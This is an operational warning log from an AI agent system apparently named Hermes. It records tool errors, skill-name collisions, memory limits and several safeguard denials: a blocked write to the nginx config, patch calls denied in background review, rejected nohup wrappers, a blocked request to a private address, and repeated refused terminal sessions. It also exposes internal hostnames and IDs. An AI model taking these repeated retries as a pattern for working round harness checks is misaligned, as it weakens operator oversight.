returned error (0.37s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-20 11:33:18,056 WARNING [20260710_094439_1cb443b1] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-20 11:33:18,057 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-20 11:33:56,898 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:56,943 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:57,033 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:57,034 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:57,173 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:57,176 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:57,180 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-20 11:33:57,181 WARNING [20260710_094439_1cb443b1] tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 11:34:06,812 WARNING tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-20 11:34:06,900 WARNING [20260720_113357_2f5de5] agent.tool_executor: Tool skill_view returned error (0.24s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-20 11:34:16,920 WARNING tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-20 11:34:20,656 WARNING [20260720_113357_2f5de5] agent.tool_executor: Tool skill_view returned error (0.13s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-20 11:36:22,708 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=115, memory=116); preserving live conversation context (possible FTS write corruption) 2026-07-20 11:39:31,996 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=117, memory=118); preserving live conversation context (possible FTS write corruption) 2026-07-20 11:42:54,226 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "After applying all 3 operations, memory would be at 2,122/1,375 chars -- over the limit. Remove or shorten more entries in the same batch (see current_entries below), then 2026-07-20 11:42:58,894 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool execute_code returned error (0.11s): {"status": "error", "output": "\n--- stderr ---\n File \"/tmp/hermes_sandbox_53snkemw/script.py\", line 254\n )\n ^\nSyntaxError: invalid syntax\n", "tool_calls_made": 0, "duration_seconds": 0. 2026-07-20 11:43:44,972 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "After applying all 2 operations, memory would be at 1,394/1,375 chars -- over the limit. Remove or shorten more entries in the same batch (see current_entries below), then 2026-07-20 11:45:00,217 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=53, memory=54); preserving live conversation context (possible FTS write corruption) 2026-07-20 12:05:24,225 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=57, memory=58); preserving live conversation context (possible FTS write corruption) 2026-07-20 12:06:55,057 WARNING agent.message_sanitization: Unrepairable tool_call arguments for execute_code — replaced with empty object (was: {"code":"from collections import defaultdict\nimport urllib.request, json, os, t) 2026-07-20 12:06:55,058 WARNING agent.chat_completion_helpers: Stream ended with no finish_reason while a tool call's arguments were still incomplete (tools=['execute_code']); treating as a mid-tool-call stream drop, not an output-length truncation. 2026-07-20 12:14:17,381 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=64, memory=66); preserving live conversation context (possible FTS write corruption) 2026-07-20 12:19:34,538 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=66, memory=68); preserving live conversation context (possible FTS write corruption) 2026-07-20 12:25:04,457 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=68, memory=70); preserving live conversation context (possible FTS write corruption) 2026-07-20 12:32:32,096 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:18 (disk=84, memory=86); preserving live conversation context (possible FTS write corruption) 2026-07-20 15:45:03,165 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,172 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,186 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,187 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,249 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,251 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,254 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-20 15:45:03,255 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-21 01:03:35,829 WARNING [cron_db0775f7cf7a_20260721_010032] agent.tool_executor: Tool web_extract returned error (1.23s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-21 04:18:04,724 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error, scheduling reconnect: httpx.ReadError: 2026-07-21 04:18:04,727 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 1/10), reconnecting in 5s. Error: httpx.ReadError: 2026-07-21 06:03:08,101 WARNING tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-21 06:03:08,115 WARNING tools.skills_tool: Skill name collision for 'research-en': 2 candidates — /root/.hermes/skills/research/research-en/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-en/SKILL.md 2026-07-21 06:03:08,196 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (1.13s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-21 06:03:08,217 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (1.18s): {"success": false, "error": "Skill 'research-codex-en' not found.", "available_skills": ["computer-use", "deploy-internal-dashboard", "dogfood", "onboarding", "research-add-items", "startup-kit-walkth 2026-07-21 06:03:08,229 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (1.09s): {"success": false, "error": "Ambiguous skill name 'research-en': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", "matc 2026-07-21 06:03:11,940 WARNING tools.skills_tool: Skill name collision for 'research/research-en': 2 candidates — /root/.hermes/skills/research/research-en/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-en/SKILL.md 2026-07-21 06:03:11,992 WARNING tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-21 06:03:12,179 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (1.06s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-21 06:03:12,242 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (1.01s): {"success": false, "error": "Ambiguous skill name 'research/research-en': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path 2026-07-21 06:03:12,250 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (1.23s): {"success": false, "error": "Skill 'research/research-deep' not found.", "available_skills": ["computer-use", "deploy-internal-dashboard", "dogfood", "onboarding", "research-add-items", "startup-kit-w 2026-07-21 06:03:15,143 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-21 06:03:15,191 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-21 06:03:22,541 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool read_file returned error (0.12s): {"content": "", "total_lines": 0, "file_size": 0, "truncated": false, "is_binary": false, "is_image": false, "error": "File not found: /opt/ai-os/products/ceo/skills/research/research-deep/SKILL.md"} 2026-07-21 06:11:59,037 WARNING gateway.session: gateway.session: routing key 'agent:main:telegram:group:-1003707758328:1' -> 20260716_152803_0b8a71cb is ended in state.db but still live in sessions.json; dropping stale entry and recovering/recreating the session (#54878) 2026-07-21 07:24:50,407 WARNING gateway.session: gateway.session: routing key 'agent:main:telegram:group:-1003707758328:18' -> 20260710_094439_1cb443b1 is ended in state.db but still live in sessions.json; dropping stale entry and recovering/recreating the session (#54878) 2026-07-21 07:24:58,693 WARNING tools.url_safety: Blocked request to private/internal address: vmi3427693.tail8c1aaf.ts.net -> 100.71.157.103 2026-07-21 07:24:58,703 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool web_extract returned error (0.04s): { "results": [ { "url": "https://vmi3427693.tail8c1aaf.ts.net/files/opt/ai-os/products/ceo/content/research/9router/model-mapping.md", "title": "", "content": "", "error" 2026-07-21 07:25:49,627 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.41s): {"output": "200\n000", "exit_code": 35, "error": null} 2026-07-21 07:27:44,954 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Refusing to write to sensitive system path: /etc/nginx/sites-available/hermes-dashboard\nUse the terminal tool with sudo if you need to modify system files."} 2026-07-21 07:28:50,051 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-21 07:28:51,057 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-21 07:28:57,875 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 07:28:58,911 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 07:29:09,241 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 07:29:10,267 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'model-router-profile-mapping': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for 2026-07-21 07:29:11,292 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill 'kanban-browser-proxy': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.m 2026-07-21 07:29:12,303 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.01s): {"success": false, "error": "Refusing background curator patch for skill '9router-ops': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, or ski 2026-07-21 07:29:16,163 WARNING [20260710_094439_1cb443b1] run_agent: Removed duplicate tool call: skill_view 2026-07-21 07:35:43,670 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.00s): {"output": "", "exit_code": -1, "error": "Foreground command uses shell-level background wrappers (nohup/disown/setsid). Use terminal(background=true) so Hermes can track the process, then run readine 2026-07-21 07:35:58,574 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-21 07:35:59,680 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-21 07:37:04,709 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "Memory at 1,188/1,375 chars. Adding this entry (575 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-21 07:37:11,351 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.02s): {"success": false, "error": "No entry matched '9Router: 7 combos per profile (r-and-d>it-ai>grill-qa>reviewer>writers>default/bd-mkt). Top models reserved for high-priority. Direct model overlap acros 2026-07-21 07:37:11,754 WARNING hermes_cli.web_server: event loop stalled 16.5s (GIL pressure suspected) 2026-07-21 07:37:17,142 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:18,769 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:20,644 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:20,923 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "Memory at 1,008/1,375 chars. Adding this entry (437 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-21 07:37:22,353 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:25,827 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:30,230 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:34,877 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:39,566 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:44,784 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:37:46,356 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-21 07:37:56,119 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'kanban-browser-proxy': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.m 2026-07-21 07:38:40,972 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.12s): {"output": "% Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 2026-07-21 07:44:31,305 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:33,159 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:35,056 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:37,273 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:40,495 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:45,051 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:49,274 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:54,760 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:44:58,968 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:07,262 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:08,731 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:09,938 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:12,813 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:17,063 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:25,352 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:30,461 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:38,371 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:44,449 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:45:52,277 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:00,881 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:09,357 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:15,207 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:21,883 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:29,984 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:35,948 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:44,809 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:46:53,920 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:03,143 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:08,989 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:17,200 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:25,233 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:30,202 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:37,593 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:46,133 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:53,147 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:47:59,164 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:04,599 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:11,445 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:16,830 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:24,023 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:30,413 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:35,642 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:41,924 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:50,105 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:48:56,853 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:04,059 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool browser_navigate returned error (7.18s): {"success": false, "error": "Navigation failed: net::ERR_SSL_PROTOCOL_ERROR"} 2026-07-21 07:49:04,697 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:10,590 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:12,168 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool browser_navigate returned error (1.57s): {"success": false, "error": "Navigation failed: net::ERR_SSL_PROTOCOL_ERROR"} 2026-07-21 07:49:16,727 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:24,920 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:30,398 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:38,542 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:45,389 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:50,865 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:49:57,496 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:50:05,794 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:50:07,253 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-21 07:50:07,883 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-21 07:50:12,559 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:50:16,427 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-21 07:50:16,890 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-21 07:50:18,631 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-21 07:50:26,589 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-07-21 07:50:27,142 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-07-21 07:50:28,424 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (8.74s): {"output": "● hermes-dashboard.service - Hermes Agent Web Dashboard (port 9119)\n Loaded: loaded (/etc/systemd/system/hermes-dashboard.service; enabled; preset: enabled)\n Active: active (runn 2026-07-21 07:50:30,823 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-07-21 07:50:35,794 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-07-21 07:50:40,789 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-07-21 07:50:45,862 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-07-21 07:50:57,355 WARNING hermes_cli.web_server: event loop stalled 6.6s (GIL pressure suspected) 2026-07-21 